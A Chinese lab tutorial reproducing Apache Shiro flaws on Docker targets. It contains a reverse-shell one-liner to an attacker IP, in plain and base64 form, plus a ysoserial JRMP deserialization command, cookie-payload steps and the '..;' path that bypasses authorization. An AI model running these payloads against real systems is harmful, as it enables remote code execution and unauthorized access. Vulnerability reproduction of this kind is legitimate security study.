Shiro反弹shell和权限绕过含工具包

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、前言

反序列化漏洞原理和Shiro反序列化漏洞原理请参阅《反序列化漏洞(一)Shiro漏洞CVE-2016-4437复现》,【CVE-2019-12422】使用python脚本判断是否存在shiro漏洞,反弹shell漏洞利用,【CVE-2020-1957】Shiro权限绕过漏洞。

2、CVE-2019-12422

2.1、启动靶场环境
# 获取docker镜像
docker pull medicean/vulapps:s_shiro_1# 重启docker
systemctl restart docker# 启动docker镜像
docker run -d -p 8083:8080 medicean/vulapps:s_shiro_1# 查看靶场启动情况
docker-compose ps

在这里插入图片描述

2.2、访问靶场

访问:http://192.168.242.4:8083

在这里插入图片描述

2.3、判断漏洞是否存在

使用python脚本工具类shiropy,需要自己配置初始化,参考步骤:2.3.1、shiropy环境准备

2.3.1、shiropy环境准备

先把shiropy.zip解压,然后使用PyCharm编辑打开,操作路径:File->Open…,指定shiropy的目录然后点确定打开。

使用PyCharm编辑器设置解释器,操作路径:File->Settings…或使用快捷键Ctrl+Alt+S,弹出窗口,选择Project:shiropy->Python Interpreter,在右侧点Add Interpreter进行添加。

在这里插入图片描述

然后在外层再的点Apply按钮应用生效。

在这里插入图片描述

把项目需要的依赖lib导入进来,有两种方式:点编辑器上方的提示或使用命令进行install。

#批量安装依赖模块
pip install -r requirements.txt#将当前项目的所有依赖库导出为requirements.txt文件 ,所以在上面步骤添加解释器时不想用继承
pip freeze > requirements.txt

在这里插入图片描述

2.3.2、dnslog申请临时域名

在线网址:https://dnslog.org/,获取到子域名:f9afffca.dnslog.store

2.3.3、生成检测payload

使用shiro.py 脚本,生成检测payload,如果当前项目有存在文件:payload.cookie,手动删除一下。生成命令如下

# 双引号里面的域名是上一步骤获取的,自己再拼接上http://
python shiro.py "http://f9afffca.dnslog.store"

生成成功会在当前目录下多一个文件:payload.cookie。

2.3.4、BurpSuite拦截处理

先在浏览器用提供的测试号登录,登录时记得点Remember me复选框。

在这里插入图片描述

BurpSuite打开拦截,使用文本编辑器打开payload.cookie复制里面的内容,直接覆盖Cookie:后的内容,然后放包。

在这里插入图片描述

2.3.5、登录成功

界面显示登录成功

在这里插入图片描述

2.3.6、dns解析成功

刷新网站或点Get Results获取结果,发现有1条解析记录,表示存在漏洞。

在这里插入图片描述

2.4、漏洞利用(反弹 shell)
2.4.1、开启监听端口

在kali系统使用nc命令开启监听端口

# nc命令开启监听,kali系统ip: 192.168.242.4
nc -lvvp 10808# 监听成功,会有提示信息如下
listening on [any] 10808 ...
2.4.2、反弹shell命令
# 反弹shell指令-格式
/bin/bash -i >& /dev/tcp/反弹shell的IP/nc监听的端口 0>&1# 反弹shell指令-kali攻击机
/bin/bash -i >& /dev/tcp/192.168.242.4/10808 0>&1# 把以上payload进行base64编码,使用在线网址:https://base64.us/
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjQyLjQvMTA4MDggMD4mMQ==
2.4.3、开启JRMP

使用ysoserial-master-SNAPSHOT.jar开启JRMP监听

# 切换到目标目录
cd tools/shiro# 命令-格式
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,base64反弹shell的payload}|{base64,-d}|{bash,-i}"# 目标执行的命令
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjQyLjQvMTA4MDggMD4mMQ==}|{base64,-d}|{bash,-i}"# 开启成功,会有提示信息如下
* Opening JRMP listener on 1099
2.4.4、构造payload

使用s.py构造payload,命令如下

# ip地址为kali系统也就是攻击机的ip,端口则为JRMP设置的端口值
python s.py 192.168.242.4:1099

运行成功会在下面生成一串内容,直接复制出来到登录时,使用BurpSuite拦截处理,步骤参考:第2.3.4、BurpSuite拦截处理。

在这里插入图片描述

2.4.5、BurpSuite拦截处理

因在第2.3步骤时有成功登录过,重新登录验证时先做下Log out登出操作,登录时记得点Remember me复选框。BurpSuite打开拦截,复制上步骤生成的内容,同样直接覆盖Cookie:后的内容,然后放包。

在这里插入图片描述

2.4.6、反弹shell成功

在JRMP监听窗口下有连接信息

在这里插入图片描述

在nc监听窗口,反弹shell成功

在这里插入图片描述

3、CVE-2020-1957

3.1、漏洞原理

Shiro权限绕过漏洞,在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造路径包含..;这样的跳转,可以绕过Shiro中对目录的权限限制。

3.2、启动靶场环境
# 先切到对应目录
cd /home/kali/vulhub-master/shiro/CVE-2020-1957# 开启靶场
docker-compose up -d# 查看靶场启动情况
docker-compose ps
3.3、访问靶场

访问:http://192.168.242.4:8080

在这里插入图片描述

3.4、访问admin目录

回显302跳转,构造恶意请求 /xxx/..;/admin/

在这里插入图片描述

成功绕过。

4、资料获取

如果需要本文Shiro漏洞利用工具包,请关注公众号:大象只为你,后台回复:shiro漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/688365.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何使用Sora?Sora小白教程一文通

如果需要使用Sora或者GPT4,请参考文章:如何使用Sora?Sora小白教程一文通 什么是Sora Sora是OpenAI于2024年2月18日凌晨发布的新的文生视频大模型,名为 “ Sora ”。 从OpenAI在官网展示的Sora生成视频的效果来看,在生…

Tauri:现代桌面应用的创新者

Tauri 是一款开源的桌面应用开发框架,旨在为开发者提供跨平台、安全、高性能的现代桌面应用解决方案。在本篇博客中,我们将深入介绍 Tauri 的特性以及为什么它成为开发者的首选。 Brownfield:兼容所有前端框架 Tauri 的一项强大特性是其对所…

day34打卡

day34打卡 860. 柠檬水找零 解法,贪心:局部最优:遇到账单20,优先消耗美元10,完成本次找零 -》全局最优:完成全部账单的找零。 遇到5,直接收下遇到10,找一个5元遇到20,…

软件实例分享,台球厅收费系统电脑桌球店计时软件及灯控线路图教程

软件实例分享,台球厅收费系统电脑桌球店计时软件及灯控线路图教程 一、前言 以下软件程序教程以 佳易王桌球室计时计费软件V17.0为例说明 软件文件下载可以点击最下方官网卡片——软件下载——试用版软件下载 1、每个桌子对应的有 开台时间,所用的时…

python如何模拟登录Github

首先进入github登录页:https://github.com/login 输入账号密码,打开开发者工具,在Network页勾选上Preserve Log(显示持续日志),点击登录,查看Session请求,找到其请求的URL与Form Da…

【RL】Monte Carlo Learning(蒙特卡洛学习)

Lecture 5: Monte Carlo Learning The simplest MC-based RL algorithm: MC Basic 理解MC basic算法的关键是理解如何将policy iteration算法迁移到model-free的条件下。 Policy iteration算法在每次迭代过程中有两步: { Policy evaluation: v π k r π k γ…

JS面向对象:四.构造函数优化

将 showName 函数定义移出了 Flower 构造函数&#xff0c;并在构造函数中直接引用了该函数。这种优化方式可以避免在每个对象实例化时都创建一个新的 showName 函数&#xff0c;而是共享同一个函数&#xff0c;节省了内存空间。 <script>function Flower(name,genera,ar…

java之VO,BO,PO,DO,DTO

概念 VO&#xff08;View Object&#xff09;&#xff1a;视图对象&#xff0c;用于展示层&#xff0c;它的作用是把某个指定页面&#xff08;或组件&#xff09;的所有数据封装起来。DTO&#xff08;Data Transfer Object&#xff09;&#xff1a;数据传输对象&#xff0c;这…

VMware虚拟机安装CentOS7

对于系统开发来说&#xff0c;开发者时常会需要涉及到不同的操作系统&#xff0c;比如Windows系统、Mac系统、Linux系统、Chrome OS系统、UNIX操作系统等。由于在同一台计算机上安装多个系统会占据我们大量的存储空间&#xff0c;所以虚拟机概念应运而生。本篇将介绍如何下载安…

基于Spring Cloud创建弹性微服务

1 引言 在当今云计算和容器化时代&#xff0c;开发人员越来越需要创建可靠、弹性的应用程序&#xff0c;以应对系统的高度复杂性和需求量。采用微服务架构是一种实现方法&#xff0c;将应用程序结构化为松散耦合的服务集合。微服务架构带来了多种优势&#xff0c;包括可扩展性…

趋高技术开发出超低价的视觉尺寸测量仪软件

2024年1月1日元旦节当日&#xff0c;深圳市趋高技术有限公司Fuxi实验室开发组成员成功开发出一款视觉尺寸测量仪软件。这款软件类比市场价格处于超低价。仅报三千二百元。有需要的码农或客户都可以了解一下&#xff0c;带回家。 趋高技术HITREND是深圳的一家高科技公司。 …

Navicat:在 Navicat 中创建外键约束

文章目录 1 表设计2 外键设置3 删除、更新操作设置4 保存 在 Navicat 中&#xff0c;可以在“表设计器”的“外键”选项卡上找到外键约束。 1 表设计 若要创建新的外键约束&#xff0c;请以“表设计器”打开子表&#xff08;在本例中为 fwaq_flow_jcjd&#xff09;&#xff0…

Linux系统的历史记录添加时间和IP信息

1 为什么要优化系统历史记录 对于linux系统&#xff0c;默认情况下&#xff0c;系统记录的历史命令比较简单。某些历史记录可能也无法正常保存&#xff0c;因此当服务器出现异常&#xff0c;希望通过历史命令来了解曾经做了哪些操作时&#xff0c;往往非常被动&#xff0c;下面…

[计算机网络]深度学习传输层TCP协议

&#x1f493; 博客主页&#xff1a;从零开始的-CodeNinja之路 ⏩ 收录专栏&#xff1a;深度学习传输层TCP协议 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 [计算机网络]深度学习传输层TCP协议 前提概括一: TCP协议段格式二:确认应答三:超时重传四:…

开源软件的商业模式

开源软件&#xff08;Open Source Software, OSS&#xff09;是指源代码公开的软件&#xff0c;任何人都可以查看、修改和分发这些软件的源代码。开源软件的商业模式与传统商业软件有所不同&#xff0c;它更多地依赖于社区协作、品牌建设和专业服务等方式来实现商业价值。 社区…

SpringBoot + Lua = 王炸!

曾经有一位魔术师,他擅长将Spring Boot和Redis这两个强大的工具结合成一种令人惊叹的组合。他的魔法武器是Redis的Lua脚本。 今天,我们将揭开这个魔术师的秘密,探讨如何在Spring Boot项目中使用Lua脚本,以解锁新的可能性和提高性能。如果你一直在寻找提升你的应用程序的方…

数论 - 质数和约数

文章目录 前言一、质数1.质数的判定-试除法2.分解质因子-试除法3.筛选质数 二、约数1.求约数-试除法2.约数的个数3.约数之和4.最大公约数-欧几里得算法 前言 本章博客将介绍质数和约数的常用模板&#xff0c;这些题目都比较简单&#xff0c;都可以通过暴力获取答案&#xff0c;…

vivado RAM HDL Coding Techniques

Vivado synthesis可以解释各种RAM编码风格&#xff0c;并将它们映射到分布式RAM中或块RAM。此操作执行以下操作&#xff1a; •无需手动实例化RAM基元 •节省时间 •保持HDL源代码的可移植性和可扩展性从编码示例下载编码示例文件。 在分布式RAM和专用RAM之间的选择块存储器…

基于SSM的电影购票系统(有报告)。Javaee项目。ssm项目。

演示视频&#xff1a; 基于SSM的电影购票系统&#xff08;有报告&#xff09;。Javaee项目。ssm项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构&#xff0c;通过Spring Spri…

AI趋势(01)人工智能发展史简介

说明&#xff1a;简要解读AI的发展历史 1 AI的早期起源&#xff08;1950 年代-1960 年代&#xff09; 1.1 人工智能的概念提出 人工智能的概念最早可以追溯到上世纪50年代&#xff0c;当时计算机科学家John McCarthy提出了“人工智能”这一概念&#xff0c;并于1956年在美国达…